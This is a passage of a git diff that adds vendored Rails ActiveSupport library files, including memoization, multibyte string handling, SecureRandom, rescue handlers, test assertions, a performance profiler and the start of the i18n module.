end + + module_eval(<<-EOS, __FILE__, __LINE__) + def #{aliased_method}_with_synchronization#{punctuation}(*args, &block) + #{with}.synchronize do + #{aliased_method}_without_synchronization#{punctuation}(*args, &block) + end + end + EOS + + alias_method_chain method, :synchronization + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/object/metaclass.rb b/vendor/rails/activesupport/lib/active_support/core_ext/object/metaclass.rb new file mode 100644 index 00000000..93fb0ad5 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/core_ext/object/metaclass.rb @@ -0,0 +1,13 @@ +class Object + # Get object's meta (ghost, eigenclass, singleton) class + def metaclass + class << self + self + end + end + + # If class_eval is called on an object, add those methods to its metaclass + def class_eval(*args, &block) + metaclass.class_eval(*args, &block) + end +end diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/behavior.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/behavior.rb new file mode 100644 index 00000000..a93ca302 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/core_ext/string/behavior.rb @@ -0,0 +1,13 @@ +module ActiveSupport #:nodoc: + module CoreExtensions #:nodoc: + module String #:nodoc: + module Behavior + # Enable more predictable duck-typing on String-like classes. See + # Object#acts_like?. + def acts_like_string? + true + end + end + end + end +end \ No newline at end of file diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/multibyte.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/multibyte.rb new file mode 100644 index 00000000..a4caa83b --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/core_ext/string/multibyte.rb @@ -0,0 +1,81 @@ +# encoding: utf-8 + +module ActiveSupport #:nodoc: + module CoreExtensions #:nodoc: + module String #:nodoc: + # Implements multibyte methods for easier access to multibyte characters in a String instance. + module Multibyte + unless '1.9'.respond_to?(:force_encoding) + # == Multibyte proxy + # + # +mb_chars+ is a multibyte safe proxy for string methods. + # + # In Ruby 1.8 and older it creates and returns an instance of the ActiveSupport::Multibyte::Chars class which + # encapsulates the original string. A Unicode safe version of all the String methods are defined on this proxy + # class. If the proxy class doesn't respond to a certain method, it's forwarded to the encapsuled string. + # + # name = 'Claus Müller' + # name.reverse #=> "rell??M sualC" + # name.length #=> 13 + # + # name.mb_chars.reverse.to_s #=> "rellüM sualC" + # name.mb_chars.length #=> 12 + # + # In Ruby 1.9 and newer +mb_chars+ returns +self+ because String is (mostly) encoding aware. This means that + # it becomes easy to run one version of your code on multiple Ruby versions. + # + # == Method chaining + # + # All the methods on the Chars proxy which normally return a string will return a Chars object. This allows + # method chaining on the result of any of these methods. + # + # name.mb_chars.reverse.length #=> 12 + # + # == Interoperability and configuration + # + # The Chars object tries to be as interchangeable with String objects as possible: sorting and comparing between + # String and Char work like expected. The bang! methods change the internal string representation in the Chars + # object. Interoperability problems can be resolved easily with a +to_s+ call. + # + # For more information about the methods defined on the Chars proxy see ActiveSupport::Multibyte::Chars. For + # information about how to change the default Multibyte behaviour see ActiveSupport::Multibyte. + def mb_chars + if ActiveSupport::Multibyte.proxy_class.wants?(self) + ActiveSupport::Multibyte.proxy_class.new(self) + else + self + end + end + + # Returns true if the string has UTF-8 semantics (a String used for purely byte resources is unlikely to have + # them), returns false otherwise. + def is_utf8? + ActiveSupport::Multibyte::Chars.consumes?(self) + end + + unless '1.8.7 and later'.respond_to?(:chars) + def chars + ActiveSupport::Deprecation.warn('String#chars has been deprecated in favor of String#mb_chars.', caller) + mb_chars + end + end + else + def mb_chars #:nodoc + self + end + + def is_utf8? #:nodoc + case encoding + when Encoding::UTF_8 + valid_encoding? + when Encoding::ASCII_8BIT, Encoding::US_ASCII + dup.force_encoding(Encoding::UTF_8).valid_encoding? + else + false + end + end + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/locale/en.yml b/vendor/rails/activesupport/lib/active_support/locale/en.yml new file mode 100644 index 00000000..92132cac --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/locale/en.yml @@ -0,0 +1,32 @@ +en: + date: + formats: + # Use the strftime parameters for formats. + # When no format has been given, it uses default. + # You can provide other formats here if you like! + default: "%Y-%m-%d" + short: "%b %d" + long: "%B %d, %Y" + + day_names: [Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday] + abbr_day_names: [Sun, Mon, Tue, Wed, Thu, Fri, Sat] + + # Don't forget the nil at the beginning; there's no such thing as a 0th month + month_names: [~, January, February, March, April, May, June, July, August, September, October, November, December] + abbr_month_names: [~, Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec] + # Used in date_select and datime_select. + order: [ :year, :month, :day ] + + time: + formats: + default: "%a, %d %b %Y %H:%M:%S %z" + short: "%d %b %H:%M" + long: "%B %d, %Y %H:%M" + am: "am" + pm: "pm" + +# Used in array.to_sentence. + support: + array: + sentence_connector: "and" + skip_last_comma: false diff --git a/vendor/rails/activesupport/lib/active_support/memoizable.rb b/vendor/rails/activesupport/lib/active_support/memoizable.rb new file mode 100644 index 00000000..cd5c01cd --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/memoizable.rb @@ -0,0 +1,82 @@ +module ActiveSupport + module Memoizable + MEMOIZED_IVAR = Proc.new do |symbol| + "@_memoized_#{symbol.to_s.sub(/\?\Z/, '_query').sub(/!\Z/, '_bang')}".to_sym + end + + module Freezable + def self.included(base) + base.class_eval do + unless base.method_defined?(:freeze_without_memoizable) + alias_method_chain :freeze, :memoizable + end + end + end + + def freeze_with_memoizable + memoize_all unless frozen? + freeze_without_memoizable + end + + def memoize_all + methods.each do |m| + if m.to_s =~ /^_unmemoized_(.*)/ + if method(m).arity == 0 + __send__($1) + else + ivar = MEMOIZED_IVAR.call($1) + instance_variable_set(ivar, {}) + end + end + end + end + + def unmemoize_all + methods.each do |m| + if m.to_s =~ /^_unmemoized_(.*)/ + ivar = MEMOIZED_IVAR.call($1) + instance_variable_get(ivar).clear if instance_variable_defined?(ivar) + end + end + end + end + + def memoize(*symbols) + symbols.each do |symbol| + original_method = :"_unmemoized_#{symbol}" + memoized_ivar = MEMOIZED_IVAR.call(symbol) + + class_eval <<-EOS, __FILE__, __LINE__ + include Freezable + + raise "Already memoized #{symbol}" if method_defined?(:#{original_method}) + alias #{original_method} #{symbol} + + if instance_method(:#{symbol}).arity == 0 + def #{symbol}(reload = false) + if reload || !defined?(#{memoized_ivar}) || #{memoized_ivar}.empty? + #{memoized_ivar} = [#{original_method}.freeze] + end + #{memoized_ivar}[0] + end + else + def #{symbol}(*args) + #{memoized_ivar} ||= {} unless frozen? + reload = args.pop if args.last == true || args.last == :reload + + if defined?(#{memoized_ivar}) && #{memoized_ivar} + if !reload && #{memoized_ivar}.has_key?(args) + #{memoized_ivar}[args] + elsif #{memoized_ivar} + #{memoized_ivar}[args] = #{original_method}(*args).freeze + end + else + #{original_method}(*args) + end + end + end + EOS + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/multibyte/exceptions.rb b/vendor/rails/activesupport/lib/active_support/multibyte/exceptions.rb new file mode 100644 index 00000000..62066e3c --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/multibyte/exceptions.rb @@ -0,0 +1,8 @@ +# encoding: utf-8 + +module ActiveSupport #:nodoc: + module Multibyte #:nodoc: + # Raised when a problem with the encoding was found. + class EncodingError < StandardError; end + end +end \ No newline at end of file diff --git a/vendor/rails/activesupport/lib/active_support/multibyte/unicode_database.rb b/vendor/rails/activesupport/lib/active_support/multibyte/unicode_database.rb new file mode 100644 index 00000000..3b8cf8f9 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/multibyte/unicode_database.rb @@ -0,0 +1,71 @@ +# encoding: utf-8 + +module ActiveSupport #:nodoc: + module Multibyte #:nodoc: + # Holds data about a codepoint in the Unicode database + class Codepoint + attr_accessor :code, :combining_class, :decomp_type, :decomp_mapping, :uppercase_mapping, :lowercase_mapping + end + + # Holds static data from the Unicode database + class UnicodeDatabase + ATTRIBUTES = :codepoints, :composition_exclusion, :composition_map, :boundary, :cp1252 + + attr_writer(*ATTRIBUTES) + + def initialize + @codepoints = Hash.new(Codepoint.new) + @composition_exclusion = [] + @composition_map = {} + @boundary = {} + @cp1252 = {} + end + + # Lazy load the Unicode database so it's only loaded when it's actually used + ATTRIBUTES.each do |attr_name| + class_eval(<<-EOS, __FILE__, __LINE__) + def #{attr_name} + load + @#{attr_name} + end + EOS + end + + # Loads the Unicode database and returns all the internal objects of UnicodeDatabase. + def load + begin + @codepoints, @composition_exclusion, @composition_map, @boundary, @cp1252 = File.open(self.class.filename, 'rb') { |f| Marshal.load f.read } + rescue Exception => e + raise IOError.new("Couldn't load the Unicode tables for UTF8Handler (#{e.message}), ActiveSupport::Multibyte is unusable") + end + + # Redefine the === method so we can write shorter rules for grapheme cluster breaks + @boundary.each do |k,_| + @boundary[k].instance_eval do + def ===(other) + detect { |i| i === other } ? true : false + end + end if @boundary[k].kind_of?(Array) + end + + # define attr_reader methods for the instance variables + class << self + attr_reader(*ATTRIBUTES) + end + end + + # Returns the directory in which the data files are stored + def self.dirname + File.dirname(__FILE__) + '/../values/' + end + + # Returns the filename for the data file for this version + def self.filename + File.expand_path File.join(dirname, "unicode_tables.dat") + end + end + + # UniCode Database + UCD = UnicodeDatabase.new + end +end \ No newline at end of file diff --git a/vendor/rails/activesupport/lib/active_support/rescuable.rb b/vendor/rails/activesupport/lib/active_support/rescuable.rb new file mode 100644 index 00000000..c27c4ddb --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/rescuable.rb @@ -0,0 +1,108 @@ +module ActiveSupport + # Rescuable module adds support for easier exception handling. + module Rescuable + def self.included(base) # :nodoc: + base.class_inheritable_accessor :rescue_handlers + base.rescue_handlers = [] + + base.extend(ClassMethods) + end + + module ClassMethods + # Rescue exceptions raised in controller actions. + # + # rescue_from receives a series of exception classes or class + # names, and a trailing :with option with the name of a method + # or a Proc object to be called to handle them. Alternatively a block can + # be given. + # + # Handlers that take one argument will be called with the exception, so + # that the exception can be inspected when dealing with it. + # + # Handlers are inherited. They are searched from right to left, from + # bottom to top, and up the hierarchy. The handler of the first class for + # which exception.is_a?(klass) holds true is the one invoked, if + # any. + # + # class ApplicationController < ActionController::Base + # rescue_from User::NotAuthorized, :with => :deny_access # self defined exception + # rescue_from ActiveRecord::RecordInvalid, :with => :show_errors + # + # rescue_from 'MyAppError::Base' do |exception| + # render :xml => exception, :status => 500 + # end + # + # protected + # def deny_access + # ... + # end + # + # def show_errors(exception) + # exception.record.new_record? ? ... + # end + # end + def rescue_from(*klasses, &block) + options = klasses.extract_options! + + unless options.has_key?(:with) + if block_given? + options[:with] = block + else + raise ArgumentError, "Need a handler. Supply an options hash that has a :with key as the last argument." + end + end + + klasses.each do |klass| + key = if klass.is_a?(Class) && klass <= Exception + klass.name + elsif klass.is_a?(String) + klass + else + raise ArgumentError, "#{klass} is neither an Exception nor a String" + end + + # put the new handler at the end because the list is read in reverse + rescue_handlers << [key, options[:with]] + end + end + end + + # Tries to rescue the exception by looking up and calling a registered handler. + def rescue_with_handler(exception) + if handler = handler_for_rescue(exception) + handler.arity != 0 ? handler.call(exception) : handler.call + true # don't rely on the return value of the handler + end + end + + def handler_for_rescue(exception) + # We go from right to left because pairs are pushed onto rescue_handlers + # as rescue_from declarations are found. + _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler| + # The purpose of allowing strings in rescue_from is to support the + # declaration of handler associations for exception classes whose + # definition is yet unknown. + # + # Since this loop needs the constants it would be inconsistent to + # assume they should exist at this point. An early raised exception + # could trigger some other handler and the array could include + # precisely a string whose corresponding constant has not yet been + # seen. This is why we are tolerant to unknown constants. + # + # Note that this tolerance only matters if the exception was given as + # a string, otherwise a NameError will be raised by the interpreter + # itself when rescue_from CONSTANT is executed. + klass = self.class.const_get(klass_name) rescue nil + klass ||= klass_name.constantize rescue nil + exception.is_a?(klass) if klass + end + + case rescuer + when Symbol + method(rescuer) + when Proc + rescuer.bind(self) + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/secure_random.rb b/vendor/rails/activesupport/lib/active_support/secure_random.rb new file mode 100644 index 00000000..97971e88 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/secure_random.rb @@ -0,0 +1,197 @@ +begin + require 'openssl' +rescue LoadError +end + +begin + require 'securerandom' +rescue LoadError +end + +module ActiveSupport + if defined?(::SecureRandom) + # Use Ruby 1.9's SecureRandom library whenever possible. + SecureRandom = ::SecureRandom # :nodoc: + else + # = Secure random number generator interface. + # + # This library is an interface for secure random number generator which is + # suitable for generating session key in HTTP cookies, etc. + # + # It supports following secure random number generators. + # + # * openssl + # * /dev/urandom + # * Win32 + # + # *Note*: This module is based on the SecureRandom library from Ruby 1.9, + # revision 18786, August 23 2008. It's 100% interface-compatible with Ruby 1.9's + # SecureRandom library. + # + # == Example + # + # # random hexadecimal string. + # p SecureRandom.hex(10) #=> "52750b30ffbc7de3b362" + # p SecureRandom.hex(10) #=> "92b15d6c8dc4beb5f559" + # p SecureRandom.hex(11) #=> "6aca1b5c58e4863e6b81b8" + # p SecureRandom.hex(12) #=> "94b2fff3e7fd9b9c391a2306" + # p SecureRandom.hex(13) #=> "39b290146bea6ce975c37cfc23" + # ... + # + # # random base64 string. + # p SecureRandom.base64(10) #=> "EcmTPZwWRAozdA==" + # p SecureRandom.base64(10) #=> "9b0nsevdwNuM/w==" + # p SecureRandom.base64(10) #=> "KO1nIU+p9DKxGg==" + # p SecureRandom.base64(11) #=> "l7XEiFja+8EKEtY=" + # p SecureRandom.base64(12) #=> "7kJSM/MzBJI+75j8" + # p SecureRandom.base64(13) #=> "vKLJ0tXBHqQOuIcSIg==" + # ... + # + # # random binary string. + # p SecureRandom.random_bytes(10) #=> "\016\t{\370g\310pbr\301" + # p SecureRandom.random_bytes(10) #=> "\323U\030TO\234\357\020\a\337" + # ... + module SecureRandom + # SecureRandom.random_bytes generates a random binary string. + # + # The argument n specifies the length of the result string. + # + # If n is not specified, 16 is assumed. + # It may be larger in future. + # + # If secure random number generator is not available, + # NotImplementedError is raised. + def self.random_bytes(n=nil) + n ||= 16 + + if defined? OpenSSL::Random + return OpenSSL::Random.random_bytes(n) + end + + if !defined?(@has_urandom) || @has_urandom + flags = File::RDONLY + flags |= File::NONBLOCK if defined? File::NONBLOCK + flags |= File::NOCTTY if defined? File::NOCTTY + flags |= File::NOFOLLOW if defined? File::NOFOLLOW + begin + File.open("/dev/urandom", flags) {|f| + unless f.stat.chardev? + raise Errno::ENOENT + end + @has_urandom = true + ret = f.readpartial(n) + if ret.length != n + raise NotImplementedError, "Unexpected partial read from random device" + end + return ret + } + rescue Errno::ENOENT + @has_urandom = false + end + end + + if !defined?(@has_win32) + begin + require 'Win32API' + + crypt_acquire_context = Win32API.new("advapi32", "CryptAcquireContext", 'PPPII', 'L') + @crypt_gen_random = Win32API.new("advapi32", "CryptGenRandom", 'LIP', 'L') + + hProvStr = " " * 4 + prov_rsa_full = 1 + crypt_verifycontext = 0xF0000000 + + if crypt_acquire_context.call(hProvStr, nil, nil, prov_rsa_full, crypt_verifycontext) == 0 + raise SystemCallError, "CryptAcquireContext failed: #{lastWin32ErrorMessage}" + end + @hProv, = hProvStr.unpack('L') + + @has_win32 = true + rescue LoadError + @has_win32 = false + end + end + if @has_win32 + bytes = " " * n + if @crypt_gen_random.call(@hProv, bytes.size, bytes) == 0 + raise SystemCallError, "CryptGenRandom failed: #{lastWin32ErrorMessage}" + end + return bytes + end + + raise NotImplementedError, "No random device" + end + + # SecureRandom.hex generates a random hex string. + # + # The argument n specifies the length of the random length. + # The length of the result string is twice of n. + # + # If n is not specified, 16 is assumed. + # It may be larger in future. + # + # If secure random number generator is not available, + # NotImplementedError is raised. + def self.hex(n=nil) + random_bytes(n).unpack("H*")[0] + end + + # SecureRandom.base64 generates a random base64 string. + # + # The argument n specifies the length of the random length. + # The length of the result string is about 4/3 of n. + # + # If n is not specified, 16 is assumed. + # It may be larger in future. + # + # If secure random number generator is not available, + # NotImplementedError is raised. + def self.base64(n=nil) + [random_bytes(n)].pack("m*").delete("\n") + end + + # SecureRandom.random_number generates a random number. + # + # If an positive integer is given as n, + # SecureRandom.random_number returns an integer: + # 0 <= SecureRandom.random_number(n) < n. + # + # If 0 is given or an argument is not given, + # SecureRandom.random_number returns an float: + # 0.0 <= SecureRandom.random_number() < 1.0. + def self.random_number(n=0) + if 0 < n + hex = n.to_s(16) + hex = '0' + hex if (hex.length & 1) == 1 + bin = [hex].pack("H*") + mask = bin[0] + mask |= mask >> 1 + mask |= mask >> 2 + mask |= mask >> 4 + begin + rnd = SecureRandom.random_bytes(bin.length) + rnd[0] = rnd[0] & mask + end until rnd < bin + rnd.unpack("H*")[0].hex + else + # assumption: Float::MANT_DIG <= 64 + i64 = SecureRandom.random_bytes(8).unpack("Q")[0] + Math.ldexp(i64 >> (64-Float::MANT_DIG), -Float::MANT_DIG) + end + end + + # Following code is based on David Garamond's GUID library for Ruby. + def self.lastWin32ErrorMessage # :nodoc: + get_last_error = Win32API.new("kernel32", "GetLastError", '', 'L') + format_message = Win32API.new("kernel32", "FormatMessageA", 'LPLLPLPPPPPPPP', 'L') + format_message_ignore_inserts = 0x00000200 + format_message_from_system = 0x00001000 + + code = get_last_error.call + msg = "\0" * 1024 + len = format_message.call(format_message_ignore_inserts + format_message_from_system, 0, code, 0, msg, 1024, nil, nil, nil, nil, nil, nil, nil, nil) + msg[0, len].tr("\r", '').chomp + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/testing/core_ext/test.rb b/vendor/rails/activesupport/lib/active_support/testing/core_ext/test.rb new file mode 100644 index 00000000..d3f38f0b --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/testing/core_ext/test.rb @@ -0,0 +1,6 @@ +require 'active_support/testing/core_ext/test/unit/assertions' +require 'active_support/testing/setup_and_teardown' + +class Test::Unit::TestCase #:nodoc: + include ActiveSupport::Testing::SetupAndTeardown +end \ No newline at end of file diff --git a/vendor/rails/activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb b/vendor/rails/activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb new file mode 100644 index 00000000..e5853bf8 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb @@ -0,0 +1,72 @@ +require 'test/unit/assertions' +module Test + module Unit + #-- + # FIXME: no Proc#binding in Ruby 2, must change this API + #++ + module Assertions + # Test numeric difference between the return value of an expression as a result of what is evaluated + # in the yielded block. + # + # assert_difference 'Article.count' do + # post :create, :article => {...} + # end + # + # An arbitrary expression is passed in and evaluated. + # + # assert_difference 'assigns(:article).comments(:reload).size' do + # post :create, :comment => {...} + # end + # + # An arbitrary positive or negative difference can be specified. The default is +1. + # + # assert_difference 'Article.count', -1 do + # post :delete, :id => ... + # end + # + # An array of expressions can also be passed in and evaluated. + # + # assert_difference [ 'Article.count', 'Post.count' ], +2 do + # post :create, :article => {...} + # end + # + # A error message can be specified. + # + # assert_difference 'Article.count', -1, "An Article should be destroyed" do + # post :delete, :id => ... + # end + def assert_difference(expressions, difference = 1, message = nil, &block) + expression_evaluations = Array(expressions).map do |expression| + [expression, lambda do + eval(expression, block.__send__(:binding)) + end] + end + + original_values = expression_evaluations.inject([]) { |memo, expression| memo << expression[1].call } + yield + expression_evaluations.each_with_index do |expression, i| + full_message = "" + full_message << "#{message}.\n" if message + full_message << "<#{expression[0]}> was the expression that failed" + assert_equal original_values[i] + difference, expression[1].call, full_message + end + end + + # Assertion that the numeric result of evaluating an expression is not changed before and after + # invoking the passed in block. + # + # assert_no_difference 'Article.count' do + # post :create, :article => invalid_attributes + # end + # + # A error message can be specified. + # + # assert_no_difference 'Article.count', "An Article should not be destroyed" do + # post :create, :article => invalid_attributes + # end + def assert_no_difference(expressions, message = nil, &block) + assert_difference expressions, 0, message, &block + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/testing/performance.rb b/vendor/rails/activesupport/lib/active_support/testing/performance.rb new file mode 100644 index 00000000..bd136c25 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/testing/performance.rb @@ -0,0 +1,452 @@ +require 'rubygems' +gem 'ruby-prof', '>= 0.6.1' +require 'ruby-prof' + +require 'fileutils' +require 'rails/version' + +module ActiveSupport + module Testing + module Performance + DEFAULTS = + if benchmark = ARGV.include?('--benchmark') # HAX for rake test + { :benchmark => true, + :runs => 4, + :metrics => [:process_time, :memory, :objects, :gc_runs, :gc_time], + :output => 'tmp/performance' } + else + { :benchmark => false, + :runs => 1, + :min_percent => 0.01, + :metrics => [:process_time, :memory, :objects], + :formats => [:flat, :graph_html, :call_tree], + :output => 'tmp/performance' } + end.freeze + + def self.included(base) + base.superclass_delegating_accessor :profile_options + base.profile_options = DEFAULTS + end + + def full_test_name + "#{self.class.name}##{method_name}" + end + + def run(result) + return if method_name =~ /^default_test$/ + + yield(self.class::STARTED, name) + @_result = result + + run_warmup + if profile_options && metrics = profile_options[:metrics] + metrics.each do |metric_name| + if klass = Metrics[metric_name.to_sym] + run_profile(klass.new) + result.add_run + end + end + end + + yield(self.class::FINISHED, name) + end + + def run_test(metric, mode) + run_callbacks :setup + setup + metric.send(mode) { __send__ @method_name } + rescue ::Test::Unit::AssertionFailedError => e + add_failure(e.message, e.backtrace) + rescue StandardError, ScriptError + add_error($!) + ensure + begin + teardown + run_callbacks :teardown, :enumerator => :reverse_each + rescue ::Test::Unit::AssertionFailedError => e + add_failure(e.message, e.backtrace) + rescue StandardError, ScriptError + add_error($!) + end + end + + protected + def run_warmup + GC.start + + time = Metrics::Time.new + run_test(time, :benchmark) + puts "%s (%s warmup)" % [full_test_name, time.format(time.total)] + + GC.start + end + + def run_profile(metric) + klass = profile_options[:benchmark] ? Benchmarker : Profiler + performer = klass.new(self, metric) + + performer.run + puts performer.report + performer.record + end + + class Performer + delegate :run_test, :profile_options, :full_test_name, :to => :@harness + + def initialize(harness, metric) + @harness, @metric = harness, metric + end + + def report + rate = @total / profile_options[:runs] + '%20s: %s' % [@metric.name, @metric.format(rate)] + end + + protected + def output_filename + "#{profile_options[:output]}/#{full_test_name}_#{@metric.name}" + end + end + + class Benchmarker < Performer + def run + profile_options[:runs].to_i.times { run_test(@metric, :benchmark) } + @total = @metric.total + end + + def record + avg = @metric.total / profile_options[:runs].to_i + now = Time.now.utc.xmlschema + with_output_file do |file| + file.puts "#{avg},#{now},#{environment}" + end + end + + def environment + unless defined? @env + app = "#{$1}.#{$2}" if File.directory?('.git') && `git branch -v` =~ /^\* (\S+)\s+(\S+)/ + + rails = Rails::VERSION::STRING + if File.directory?('vendor/rails/.git') + Dir.chdir('vendor/rails') do + rails += ".#{$1}.#{$2}" if `git branch -v` =~ /^\* (\S+)\s+(\S+)/ + end + end + + ruby = defined?(RUBY_ENGINE) ? RUBY_ENGINE : 'ruby' + ruby += "-#{RUBY_VERSION}.#{RUBY_PATCHLEVEL}" + + @env = [app, rails, ruby, RUBY_PLATFORM] * ',' + end + + @env + end + + protected + HEADER = 'measurement,created_at,app,rails,ruby,platform' + + def with_output_file + fname = output_filename + + if new = !File.exist?(fname) + FileUtils.mkdir_p(File.dirname(fname)) + end + + File.open(fname, 'ab') do |file| + file.puts(HEADER) if new + yield file + end + end + + def output_filename + "#{super}.csv" + end + end + + class Profiler < Performer + def initialize(*args) + super + @supported = @metric.measure_mode rescue false + end + + def run + return unless @supported + + RubyProf.measure_mode = @metric.measure_mode + RubyProf.start + RubyProf.pause + profile_options[:runs].to_i.times { run_test(@metric, :profile) } + @data = RubyProf.stop + @total = @data.threads.values.sum(0) { |method_infos| method_infos.sort.last.total_time } + end + + def report + if @supported + super + else + '%20s: unsupported' % @metric.name + end + end + + def record + return unless @supported + + klasses = profile_options[:formats].map { |f| RubyProf.const_get("#{f.to_s.camelize}Printer") }.compact + + klasses.each do |klass| + fname = output_filename(klass) + FileUtils.mkdir_p(File.dirname(fname)) + File.open(fname, 'wb') do |file| + klass.new(@data).print(file, profile_options.slice(:min_percent)) + end + end + end + + protected + def output_filename(printer_class) + suffix = + case printer_class.name.demodulize + when 'FlatPrinter'; 'flat.txt' + when 'GraphPrinter'; 'graph.txt' + when 'GraphHtmlPrinter'; 'graph.html' + when 'CallTreePrinter'; 'tree.txt' + else printer_class.name.sub(/Printer$/, '').underscore + end + + "#{super()}_#{suffix}" + end + end + + module Metrics + def self.[](name) + const_get(name.to_s.camelize) + rescue NameError + nil + end + + class Base + attr_reader :total + + def initialize + @total = 0 + end + + def name + @name ||= self.class.name.demodulize.underscore + end + + def measure_mode + self.class::Mode + end + + def measure + 0 + end + + def benchmark + with_gc_stats do + before = measure + yield + @total += (measure - before) + end + end + + def profile + RubyProf.resume + yield + ensure + RubyProf.pause + end + + protected + if GC.respond_to?(:enable_stats) + def with_gc_stats + GC.enable_stats + yield + ensure + GC.disable_stats + end + elsif defined?(GC::Profiler) + def with_gc_stats + GC.start + GC.disable + GC::Profiler.enable + yield + ensure + GC::Profiler.disable + GC.enable + end + else + def with_gc_stats + yield + end + end + end + + class Time < Base + def measure + ::Time.now.to_f + end + + def format(measurement) + if measurement < 2 + '%d ms' % (measurement * 1000) + else + '%.2f sec' % measurement + end + end + end + + class ProcessTime < Time + Mode = RubyProf::PROCESS_TIME + + def measure + RubyProf.measure_process_time + end + end + + class WallTime < Time + Mode = RubyProf::WALL_TIME + + def measure + RubyProf.measure_wall_time + end + end + + class CpuTime < Time + Mode = RubyProf::CPU_TIME if RubyProf.const_defined?(:CPU_TIME) + + def initialize(*args) + # FIXME: yeah my CPU is 2.33 GHz + RubyProf.cpu_frequency = 2.33e9 + super + end + + def measure + RubyProf.measure_cpu_time + end + end + + class Memory < Base + Mode = RubyProf::MEMORY if RubyProf.const_defined?(:MEMORY) + + # ruby-prof wrapper + if RubyProf.respond_to?(:measure_memory) + def measure + RubyProf.measure_memory / 1024.0 + end + + # Ruby 1.8 + railsbench patch + elsif GC.respond_to?(:allocated_size) + def measure + GC.allocated_size / 1024.0 + end + + # Ruby 1.8 + lloyd patch + elsif GC.respond_to?(:heap_info) + def measure + GC.heap_info['heap_current_memory'] / 1024.0 + end + + # Ruby 1.9 with total_malloc_allocated_size patch + elsif GC.respond_to?(:malloc_total_allocated_size) + def measure + GC.total_malloc_allocated_size / 1024.0 + end + + # Ruby 1.9 unpatched + elsif GC.respond_to?(:malloc_allocated_size) + def measure + GC.malloc_allocated_size / 1024.0 + end + + # Ruby 1.9 + GC profiler patch + elsif defined?(GC::Profiler) + def measure + GC.enable + GC.start + kb = GC::Profiler.data.last[:HEAP_USE_SIZE] / 1024.0 + GC.disable + kb + end + end + + def format(measurement) + '%.2f KB' % measurement + end + end + + class Objects < Base + Mode = RubyProf::ALLOCATIONS if RubyProf.const_defined?(:ALLOCATIONS) + + if RubyProf.respond_to?(:measure_allocations) + def measure + RubyProf.measure_allocations + end + + # Ruby 1.8 + railsbench patch + elsif ObjectSpace.respond_to?(:allocated_objects) + def measure + ObjectSpace.allocated_objects + end + + # Ruby 1.9 + GC profiler patch + elsif defined?(GC::Profiler) + def measure + GC.enable + GC.start + last = GC::Profiler.data.last + count = last[:HEAP_LIVE_OBJECTS] + last[:HEAP_FREE_OBJECTS] + GC.disable + count + end + end + + def format(measurement) + measurement.to_i.to_s + end + end + + class GcRuns < Base + Mode = RubyProf::GC_RUNS if RubyProf.const_defined?(:GC_RUNS) + + if RubyProf.respond_to?(:measure_gc_runs) + def measure + RubyProf.measure_gc_runs + end + elsif GC.respond_to?(:collections) + def measure + GC.collections + end + elsif GC.respond_to?(:heap_info) + def measure + GC.heap_info['num_gc_passes'] + end + end + + def format(measurement) + measurement.to_i.to_s + end + end + + class GcTime < Base + Mode = RubyProf::GC_TIME if RubyProf.const_defined?(:GC_TIME) + + if RubyProf.respond_to?(:measure_gc_time) + def measure + RubyProf.measure_gc_time + end + elsif GC.respond_to?(:time) + def measure + GC.time + end + end + + def format(measurement) + '%d ms' % (measurement / 1000) + end + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n.rb new file mode 100644 index 00000000..2ffe3618 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n.rb @@ -0,0 +1,194 @@ +# Authors:: Matt Aimonetti (http://railsontherun.com/), +# Sven Fuchs (http://www.artweb-design.de), +# Joshua Harvey (http://www.workingwithrails.com/person/759-joshua-harvey), +# Saimon Moore (http://saimonmoore.net), +# Stephan Soller (http://www.arkanis-development.de/) +# Copyright:: Copyright (c) 2008 The Ruby i18n Team +# License:: MIT +require 'i18n/backend/simple' +require 'i18n/exceptions' + +module I18n + @@backend = nil + @@load_path = nil + @@default_locale = :'en' + @@exception_handler = :default_exception_handler + + class << self + # Returns the current backend. Defaults to +Backend::Simple+. + def backend + @@backend ||= Backend::Simple.new + end + + # Sets the current backend. Used to set a custom backend. + def backend=(backend) + @@backend = backend + end + + # Returns the current default locale. Defaults to 'en' + def default_locale + @@default_locale + end + + # Sets the current default locale. Used to set a custom default locale. + def default_locale=(locale) + @@default_locale = locale + end + + # Returns the current locale. Defaults to I18n.default_locale. + def locale + Thread.current[:locale] ||= default_locale + end + + # Sets the current locale pseudo-globally, i.e. in the Thread.current hash. + def locale=(locale) + Thread.current[:locale] = locale + end + + # Sets the exception handler. + def exception_handler=(exception_handler) + @@exception_handler = exception_handler + end + + # Allow clients to register paths providing translation data sources. The + # backend defines acceptable sources. + # + # E.g. the provided SimpleBackend accepts a list of paths to translation + # files which are either named *.rb and contain plain Ruby Hashes or are + # named *.yml and contain YAML data. So for the SimpleBackend clients may + # register translation files like this: + # 